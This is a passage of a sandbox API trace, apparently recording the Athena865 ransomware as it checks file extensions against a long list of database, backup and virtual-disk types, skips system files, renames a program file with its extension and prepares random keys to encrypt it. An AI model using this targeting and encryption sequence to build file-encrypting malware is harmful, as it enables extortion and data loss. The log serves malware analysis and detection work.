(lpString1="exe", lpString2="p97") returned -1 [0041.910] lstrlenW (lpString="pan") returned 3 [0041.910] lstrcmpiW (lpString1="exe", lpString2="pan") returned -1 [0041.910] lstrlenW (lpString="pdb") returned 3 [0041.910] lstrcmpiW (lpString1="exe", lpString2="pdb") returned -1 [0041.910] lstrlenW (lpString="pdm") returned 3 [0041.910] lstrcmpiW (lpString1="exe", lpString2="pdm") returned -1 [0041.910] lstrlenW (lpString="pnz") returned 3 [0041.910] lstrcmpiW (lpString1="exe", lpString2="pnz") returned -1 [0041.911] lstrlenW (lpString="qry") returned 3 [0041.911] lstrcmpiW (lpString1="exe", lpString2="qry") returned -1 [0041.911] lstrlenW (lpString="qvd") returned 3 [0041.911] lstrcmpiW (lpString1="exe", lpString2="qvd") returned -1 [0041.911] lstrlenW (lpString="rbf") returned 3 [0041.911] lstrcmpiW (lpString1="exe", lpString2="rbf") returned -1 [0041.911] lstrlenW (lpString="rctd") returned 4 [0041.911] lstrcmpiW (lpString1=".exe", lpString2="rctd") returned -1 [0041.911] lstrlenW (lpString="rod") returned 3 [0041.911] lstrcmpiW (lpString1="exe", lpString2="rod") returned -1 [0041.911] lstrlenW (lpString="rodx") returned 4 [0041.911] lstrcmpiW (lpString1=".exe", lpString2="rodx") returned -1 [0041.911] lstrlenW (lpString="rpd") returned 3 [0041.911] lstrcmpiW (lpString1="exe", lpString2="rpd") returned -1 [0041.911] lstrlenW (lpString="rsd") returned 3 [0041.911] lstrcmpiW (lpString1="exe", lpString2="rsd") returned -1 [0041.911] lstrlenW (lpString="sas7bdat") returned 8 [0041.911] lstrcmpiW (lpString1="ebar.exe", lpString2="sas7bdat") returned -1 [0041.911] lstrlenW (lpString="sbf") returned 3 [0041.911] lstrcmpiW (lpString1="exe", lpString2="sbf") returned -1 [0041.911] lstrlenW (lpString="scx") returned 3 [0041.911] lstrcmpiW (lpString1="exe", lpString2="scx") returned -1 [0041.911] lstrlenW (lpString="sdb") returned 3 [0041.911] lstrcmpiW (lpString1="exe", lpString2="sdb") returned -1 [0041.911] lstrlenW (lpString="sdc") returned 3 [0041.911] lstrcmpiW (lpString1="exe", lpString2="sdc") returned -1 [0041.911] lstrlenW (lpString="sdf") returned 3 [0041.911] lstrcmpiW (lpString1="exe", lpString2="sdf") returned -1 [0041.911] lstrlenW (lpString="sis") returned 3 [0041.911] lstrcmpiW (lpString1="exe", lpString2="sis") returned -1 [0041.911] lstrlenW (lpString="spq") returned 3 [0041.911] lstrcmpiW (lpString1="exe", lpString2="spq") returned -1 [0041.911] lstrlenW (lpString="te") returned 2 [0041.911] lstrcmpiW (lpString1="xe", lpString2="te") returned 1 [0041.911] lstrlenW (lpString="teacher") returned 7 [0041.911] lstrcmpiW (lpString1="bar.exe", lpString2="teacher") returned -1 [0041.912] lstrlenW (lpString="tmd") returned 3 [0041.912] lstrcmpiW (lpString1="exe", lpString2="tmd") returned -1 [0041.912] lstrlenW (lpString="tps") returned 3 [0041.912] lstrcmpiW (lpString1="exe", lpString2="tps") returned -1 [0041.912] lstrlenW (lpString="trc") returned 3 [0041.912] lstrcmpiW (lpString1="exe", lpString2="trc") returned -1 [0041.912] lstrlenW (lpString="trc") returned 3 [0041.912] lstrcmpiW (lpString1="exe", lpString2="trc") returned -1 [0041.912] lstrlenW (lpString="trm") returned 3 [0041.912] lstrcmpiW (lpString1="exe", lpString2="trm") returned -1 [0041.912] lstrlenW (lpString="udb") returned 3 [0041.912] lstrcmpiW (lpString1="exe", lpString2="udb") returned -1 [0041.912] lstrlenW (lpString="udl") returned 3 [0041.912] lstrcmpiW (lpString1="exe", lpString2="udl") returned -1 [0041.912] lstrlenW (lpString="usr") returned 3 [0041.912] lstrcmpiW (lpString1="exe", lpString2="usr") returned -1 [0041.912] lstrlenW (lpString="v12") returned 3 [0041.912] lstrcmpiW (lpString1="exe", lpString2="v12") returned -1 [0041.912] lstrlenW (lpString="vis") returned 3 [0041.912] lstrcmpiW (lpString1="exe", lpString2="vis") returned -1 [0041.912] lstrlenW (lpString="vpd") returned 3 [0041.912] lstrcmpiW (lpString1="exe", lpString2="vpd") returned -1 [0041.912] lstrlenW (lpString="vvv") returned 3 [0041.912] lstrcmpiW (lpString1="exe", lpString2="vvv") returned -1 [0041.912] lstrlenW (lpString="wdb") returned 3 [0041.912] lstrcmpiW (lpString1="exe", lpString2="wdb") returned -1 [0041.912] lstrlenW (lpString="wmdb") returned 4 [0041.912] lstrcmpiW (lpString1=".exe", lpString2="wmdb") returned -1 [0041.912] lstrlenW (lpString="wrk") returned 3 [0041.912] lstrcmpiW (lpString1="exe", lpString2="wrk") returned -1 [0041.912] lstrlenW (lpString="xdb") returned 3 [0041.912] lstrcmpiW (lpString1="exe", lpString2="xdb") returned -1 [0041.912] lstrlenW (lpString="xld") returned 3 [0041.912] lstrcmpiW (lpString1="exe", lpString2="xld") returned -1 [0041.912] lstrlenW (lpString="xmlff") returned 5 [0041.912] lstrcmpiW (lpString1="r.exe", lpString2="xmlff") returned -1 [0041.912] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows Sidebar\\sidebar.exe.Athena865") returned 54 [0041.912] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\sidebar.exe" (normalized: "c:\\program files\\windows sidebar\\sidebar.exe"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\sidebar.exe.Athena865" (normalized: "c:\\program files\\windows sidebar\\sidebar.exe.athena865"), dwFlags=0x1) returned 1 [0041.913] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\sidebar.exe.Athena865" (normalized: "c:\\program files\\windows sidebar\\sidebar.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0041.913] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1475584) returned 1 [0041.913] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0041.913] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d318 [0041.913] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519228 [0041.914] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5192b0) returned 1 [0041.914] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0041.914] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0041.914] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x168700, lpName=0x0) returned 0x17c [0041.916] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x168700) returned 0x2d50000 [0042.019] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5192b0) returned 1 [0042.020] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0042.020] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0042.020] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d390 [0042.020] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d390 | out: hHeap=0x4f0000) returned 1 [0042.020] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50ef50 [0042.020] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511438 [0042.020] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50ef50 | out: hHeap=0x4f0000) returned 1 [0042.020] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511668 [0042.020] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52f908 [0042.021] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511668 | out: hHeap=0x4f0000) returned 1 [0042.021] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0042.021] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511438 | out: hHeap=0x4f0000) returned 1 [0042.021] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0042.033] CloseHandle (hObject=0x17c) returned 1 [0042.033] CloseHandle (hObject=0x154) returned 1 [0042.057] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d318 | out: hHeap=0x4f0000) returned 1 [0042.057] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519228 | out: hHeap=0x4f0000) returned 1 [0042.057] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0042.065] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7abe9733, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x7abe9733, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x45aefc70, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x27e00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wlsrvc.dll", cAlternateFileName="")) returned 1 [0042.065] lstrcmpiW (lpString1="wlsrvc.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0042.065] lstrcmpiW (lpString1="wlsrvc.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0042.065] lstrcmpiW (lpString1="wlsrvc.dll", lpString2=".") returned 1 [0042.065] lstrcmpiW (lpString1="wlsrvc.dll", lpString2="..") returned 1 [0042.065] lstrcmpiW (lpString1="wlsrvc.dll", lpString2="windows") returned 1 [0042.065] lstrcmpiW (lpString1="wlsrvc.dll", lpString2="bootmgr") returned 1 [0042.066] lstrcmpiW (lpString1="wlsrvc.dll", lpString2="temp") returned 1 [0042.066] lstrcmpiW (lpString1="wlsrvc.dll", lpString2="pagefile.sys") returned 1 [0042.066] lstrcmpiW (lpString1="wlsrvc.dll", lpString2="boot") returned 1 [0042.066] lstrcmpiW (lpString1="wlsrvc.dll", lpString2="ids.txt") returned 1 [0042.066] lstrcmpiW (lpString1="wlsrvc.dll", lpString2="ntuser.dat") returned 1 [0042.066] lstrcmpiW (lpString1="wlsrvc.dll", lpString2="perflogs") returned 1 [0042.066] lstrcmpiW (lpString1="wlsrvc.dll", lpString2="MSBuild") returned 1 [0042.066] lstrlenW (lpString="wlsrvc.dll") returned 10 [0042.066] lstrcpyW (in: lpString1=0x241e88a, lpString2="wlsrvc.dll" | out: lpString1="wlsrvc.dll") returned="wlsrvc.dll" [0042.066] lstrlenW (lpString="wlsrvc.dll") returned 10 [0042.066] lstrlenW (lpString="Athena865") returned 9 [0042.066] lstrcmpiW (lpString1="lsrvc.dll", lpString2="Athena865") returned 1 [0042.066] lstrlenW (lpString=".dll") returned 4 [0042.066] lstrcmpiW (lpString1="wlsrvc.dll", lpString2=".dll") returned 1 [0042.066] lstrlenW (lpString=".lnk") returned 4 [0042.066] lstrcmpiW (lpString1="wlsrvc.dll", lpString2=".lnk") returned 1 [0042.066] lstrlenW (lpString=".ini") returned 4 [0042.066] lstrcmpiW (lpString1="wlsrvc.dll", lpString2=".ini") returned 1 [0042.066] lstrlenW (lpString=".sys") returned 4 [0042.066] lstrcmpiW (lpString1="wlsrvc.dll", lpString2=".sys") returned 1 [0042.066] lstrlenW (lpString="wlsrvc.dll") returned 10 [0042.066] lstrlenW (lpString="bak") returned 3 [0042.066] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0042.066] lstrlenW (lpString="ba_") returned 3 [0042.066] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0042.066] lstrlenW (lpString="dbb") returned 3 [0042.066] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0042.066] lstrlenW (lpString="vmdk") returned 4 [0042.066] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0042.066] lstrlenW (lpString="rar") returned 3 [0042.066] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0042.066] lstrlenW (lpString="zip") returned 3 [0042.066] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0042.066] lstrlenW (lpString="tgz") returned 3 [0042.066] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0042.066] lstrlenW (lpString="vbox") returned 4 [0042.066] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0042.067] lstrlenW (lpString="vdi") returned 3 [0042.067] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0042.067] lstrlenW (lpString="vhd") returned 3 [0042.067] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0042.067] lstrlenW (lpString="vhdx") returned 4 [0042.067] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0042.067] lstrlenW (lpString="avhd") returned 4 [0042.067] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0042.067] lstrlenW (lpString="db") returned 2 [0042.067] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0042.067] lstrlenW (lpString="db2") returned 3 [0042.067] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0042.067] lstrlenW (lpString="db3") returned 3 [0042.067] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0042.067] lstrlenW (lpString="dbf") returned 3 [0042.067] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0042.067] lstrlenW (lpString="mdf") returned 3 [0042.067] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0042.067] lstrlenW (lpString="mdb") returned 3 [0042.067] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0042.067] lstrlenW (lpString="sql") returned 3 [0042.067] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0042.067] lstrlenW (lpString="sqlite") returned 6 [0042.067] lstrcmpiW (lpString1="vc.dll", lpString2="sqlite") returned 1 [0042.067] lstrlenW (lpString="sqlite3") returned 7 [0042.067] lstrcmpiW (lpString1="rvc.dll", lpString2="sqlite3") returned -1 [0042.067] lstrlenW (lpString="sqlitedb") returned 8 [0042.067] lstrcmpiW (lpString1="srvc.dll", lpString2="sqlitedb") returned 1 [0042.067] lstrlenW (lpString="xml") returned 3 [0042.067] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0042.067] lstrlenW (lpString="$er") returned 3 [0042.067] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0042.067] lstrlenW (lpString="4dd") returned 3 [0042.067] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0042.067] lstrlenW (lpString="4dl") returned 3 [0042.067] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0042.067] lstrlenW (lpString="^^^") returned 3 [0042.068] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0042.068] lstrlenW (lpString="abs") returned 3 [0042.068] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0042.068] lstrlenW (lpString="abx") returned 3 [0042.068] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0042.068] lstrlenW (lpString="accdb") returned 5 [0042.068] lstrcmpiW (lpString1="c.dll", lpString2="accdb") returned 1 [0042.068] lstrlenW (lpString="accdc") returned 5 [0042.068] lstrcmpiW (lpString1="c.dll", lpString2="accdc") returned 1 [0042.068] lstrlenW (lpString="accde") returned 5 [0042.068] lstrcmpiW (lpString1="c.dll", lpString2="accde") returned 1 [0042.068] lstrlenW (lpString="accdr") returned 5 [0042.068] lstrcmpiW (lpString1="c.dll", lpString2="accdr") returned 1 [0042.068] lstrlenW (lpString="accdt") returned 5 [0042.068] lstrcmpiW (lpString1="c.dll", lpString2="accdt") returned 1 [0042.068] lstrlenW (lpString="accdw") returned 5 [0042.068] lstrcmpiW (lpString1="c.dll", lpString2="accdw") returned 1 [0042.068] lstrlenW (lpString="accft") returned 5 [0042.068] lstrcmpiW (lpString1="c.dll", lpString2="accft") returned 1 [0042.068] lstrlenW (lpString="adb") returned 3 [0042.068] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0042.068] lstrlenW (lpString="adb") returned 3 [0042.068] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0042.068] lstrlenW (lpString="ade") returned 3 [0042.068] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0042.068] lstrlenW (lpString="adf") returned 3 [0042.068] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0042.068] lstrlenW (lpString="adn") returned 3 [0042.068] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0042.068] lstrlenW (lpString="adp") returned 3 [0042.068] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0042.068] lstrlenW (lpString="alf") returned 3 [0042.068] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0042.068] lstrlenW (lpString="ask") returned 3 [0042.068] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0042.068] lstrlenW (lpString="btr") returned 3 [0042.068] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0042.068] lstrlenW (lpString="cat") returned 3 [0042.069] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0042.069] lstrlenW (lpString="cdb") returned 3 [0042.069] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0042.069] lstrlenW (lpString="ckp") returned 3 [0042.069] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0042.069] lstrlenW (lpString="cma") returned 3 [0042.069] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0042.069] lstrlenW (lpString="cpd") returned 3 [0042.069] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0042.069] lstrlenW (lpString="dacpac") returned 6 [0042.069] lstrcmpiW (lpString1="vc.dll", lpString2="dacpac") returned 1 [0042.069] lstrlenW (lpString="dad") returned 3 [0042.069] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0042.069] lstrlenW (lpString="dadiagrams") returned 10 [0042.069] lstrlenW (lpString="daschema") returned 8 [0042.069] lstrcmpiW (lpString1="srvc.dll", lpString2="daschema") returned 1 [0042.069] lstrlenW (lpString="db-journal") returned 10 [0042.069] lstrlenW (lpString="db-shm") returned 6 [0042.069] lstrcmpiW (lpString1="vc.dll", lpString2="db-shm") returned 1 [0042.069] lstrlenW (lpString="db-wal") returned 6 [0042.069] lstrcmpiW (lpString1="vc.dll", lpString2="db-wal") returned 1 [0042.069] lstrlenW (lpString="dbc") returned 3 [0042.069] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0042.069] lstrlenW (lpString="dbs") returned 3 [0042.069] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0042.069] lstrlenW (lpString="dbt") returned 3 [0042.069] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0042.069] lstrlenW (lpString="dbv") returned 3 [0042.069] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0042.069] lstrlenW (lpString="dbx") returned 3 [0042.069] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0042.069] lstrlenW (lpString="dcb") returned 3 [0042.069] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0042.069] lstrlenW (lpString="dct") returned 3 [0042.069] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0042.069] lstrlenW (lpString="dcx") returned 3 [0042.069] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1 [0042.069] lstrlenW (lpString="ddl") returned 3 [0042.069] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1 [0042.070] lstrlenW (lpString="dlis") returned 4 [0042.070] lstrcmpiW (lpString1=".dll", lpString2="dlis") returned -1 [0042.070] lstrlenW (lpString="dp1") returned 3 [0042.070] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1 [0042.070] lstrlenW (lpString="dqy") returned 3 [0042.070] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1 [0042.070] lstrlenW (lpString="dsk") returned 3 [0042.070] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1 [0042.070] lstrlenW (lpString="dsn") returned 3 [0042.070] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1 [0042.070] lstrlenW (lpString="dtsx") returned 4 [0042.070] lstrcmpiW (lpString1=".dll", lpString2="dtsx") returned -1 [0042.070] lstrlenW (lpString="dxl") returned 3 [0042.070] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1 [0042.070] lstrlenW (lpString="eco") returned 3 [0042.070] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1 [0042.070] lstrlenW (lpString="ecx") returned 3 [0042.070] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1 [0042.070] lstrlenW (lpString="edb") returned 3 [0042.070] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1 [0042.070] lstrlenW (lpString="epim") returned 4 [0042.070] lstrcmpiW (lpString1=".dll", lpString2="epim") returned -1 [0042.070] lstrlenW (lpString="fcd") returned 3 [0042.070] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1 [0042.070] lstrlenW (lpString="fdb") returned 3 [0042.070] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1 [0042.070] lstrlenW (lpString="fic") returned 3 [0042.070] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1 [0042.070] lstrlenW (lpString="flexolibrary") returned 12 [0042.070] lstrlenW (lpString="fm5") returned 3 [0042.070] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1 [0042.070] lstrlenW (lpString="fmp") returned 3 [0042.070] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1 [0042.070] lstrlenW (lpString="fmp12") returned 5 [0042.070] lstrcmpiW (lpString1="c.dll", lpString2="fmp12") returned -1 [0042.070] lstrlenW (lpString="fmpsl") returned 5 [0042.070] lstrcmpiW (lpString1="c.dll", lpString2="fmpsl") returned -1 [0042.070] lstrlenW (lpString="fol") returned 3 [0042.071] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1 [0042.071] lstrlenW (lpString="fp3") returned 3 [0042.071] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1 [0042.071] lstrlenW (lpString="fp4") returned 3 [0042.071] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1 [0042.071] lstrlenW (lpString="fp5") returned 3 [0042.071] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1 [0042.071] lstrlenW (lpString="fp7") returned 3 [0042.071] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1 [0042.071] lstrlenW (lpString="fpt") returned 3 [0042.071] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1 [0042.071] lstrlenW (lpString="frm") returned 3 [0042.071] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1 [0042.071] lstrlenW (lpString="gdb") returned 3 [0042.071] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0042.071] lstrlenW (lpString="gdb") returned 3 [0042.071] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0042.071] lstrlenW (lpString="grdb") returned 4 [0042.071] lstrcmpiW (lpString1=".dll", lpString2="grdb") returned -1 [0042.071] lstrlenW (lpString="gwi") returned 3 [0042.071] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1 [0042.071] lstrlenW (lpString="hdb") returned 3 [0042.071] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1 [0042.071] lstrlenW (lpString="his") returned 3 [0042.071] lstrcmpiW (lpString1="dll", lpString2="his") returned -1 [0042.071] lstrlenW (lpString="ib") returned 2 [0042.071] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1 [0042.071] lstrlenW (lpString="idb") returned 3 [0042.071] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1 [0042.071] lstrlenW (lpString="ihx") returned 3 [0042.071] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1 [0042.071] lstrlenW (lpString="itdb") returned 4 [0042.071] lstrcmpiW (lpString1=".dll", lpString2="itdb") returned -1 [0042.071] lstrlenW (lpString="itw") returned 3 [0042.071] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1 [0042.071] lstrlenW (lpString="jet") returned 3 [0042.071] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1 [0042.071] lstrlenW (lpString="jtx") returned 3 [0042.072] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1 [0042.072] lstrlenW (lpString="kdb") returned 3 [0042.072] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1 [0042.072] lstrlenW (lpString="kexi") returned 4 [0042.072] lstrcmpiW (lpString1=".dll", lpString2="kexi") returned -1 [0042.072] lstrlenW (lpString="kexic") returned 5 [0042.072] lstrcmpiW (lpString1="c.dll", lpString2="kexic") returned -1 [0042.072] lstrlenW (lpString="kexis") returned 5 [0042.072] lstrcmpiW (lpString1="c.dll", lpString2="kexis") returned -1 [0042.072] lstrlenW (lpString="lgc") returned 3 [0042.072] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1 [0042.072] lstrlenW (lpString="lwx") returned 3 [0042.072] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1 [0042.072] lstrlenW (lpString="maf") returned 3 [0042.072] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1 [0042.072] lstrlenW (lpString="maq") returned 3 [0042.072] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1 [0042.072] lstrlenW (lpString="mar") returned 3 [0042.072] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1 [0042.072] lstrlenW (lpString="marshal") returned 7 [0042.072] lstrcmpiW (lpString1="rvc.dll", lpString2="marshal") returned 1 [0042.072] lstrlenW (lpString="mas") returned 3 [0042.072] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1 [0042.072] lstrlenW (lpString="mav") returned 3 [0042.072] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1 [0042.072] lstrlenW (lpString="maw") returned 3 [0042.072] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1 [0042.072] lstrlenW (lpString="mdbhtml") returned 7 [0042.072] lstrcmpiW (lpString1="rvc.dll", lpString2="mdbhtml") returned 1 [0042.072] lstrlenW (lpString="mdn") returned 3 [0042.072] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1 [0042.072] lstrlenW (lpString="mdt") returned 3 [0042.072] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1 [0042.072] lstrlenW (lpString="mfd") returned 3 [0042.072] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1 [0042.072] lstrlenW (lpString="mpd") returned 3 [0042.072] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1 [0042.072] lstrlenW (lpString="mrg") returned 3 [0042.073] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1 [0042.073] lstrlenW (lpString="mud") returned 3 [0042.073] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1 [0042.073] lstrlenW (lpString="mwb") returned 3 [0042.073] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1 [0042.073] lstrlenW (lpString="myd") returned 3 [0042.073] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1 [0042.073] lstrlenW (lpString="ndf") returned 3 [0042.073] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1 [0042.073] lstrlenW (lpString="nnt") returned 3 [0042.073] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1 [0042.073] lstrlenW (lpString="nrmlib") returned 6 [0042.073] lstrcmpiW (lpString1="vc.dll", lpString2="nrmlib") returned 1 [0042.073] lstrlenW (lpString="ns2") returned 3 [0042.073] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1 [0042.073] lstrlenW (lpString="ns3") returned 3 [0042.073] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1 [0042.073] lstrlenW (lpString="ns4") returned 3 [0042.073] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1 [0042.073] lstrlenW (lpString="nsf") returned 3 [0042.073] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1 [0042.073] lstrlenW (lpString="nv") returned 2 [0042.073] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1 [0042.073] lstrlenW (lpString="nv2") returned 3 [0042.073] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1 [0042.073] lstrlenW (lpString="nwdb") returned 4 [0042.073] lstrcmpiW (lpString1=".dll", lpString2="nwdb") returned -1 [0042.073] lstrlenW (lpString="nyf") returned 3 [0042.073] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1 [0042.073] lstrlenW (lpString="odb") returned 3 [0042.073] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0042.073] lstrlenW (lpString="odb") returned 3 [0042.073] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0042.073] lstrlenW (lpString="oqy") returned 3 [0042.073] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1 [0042.073] lstrlenW (lpString="ora") returned 3 [0042.073] 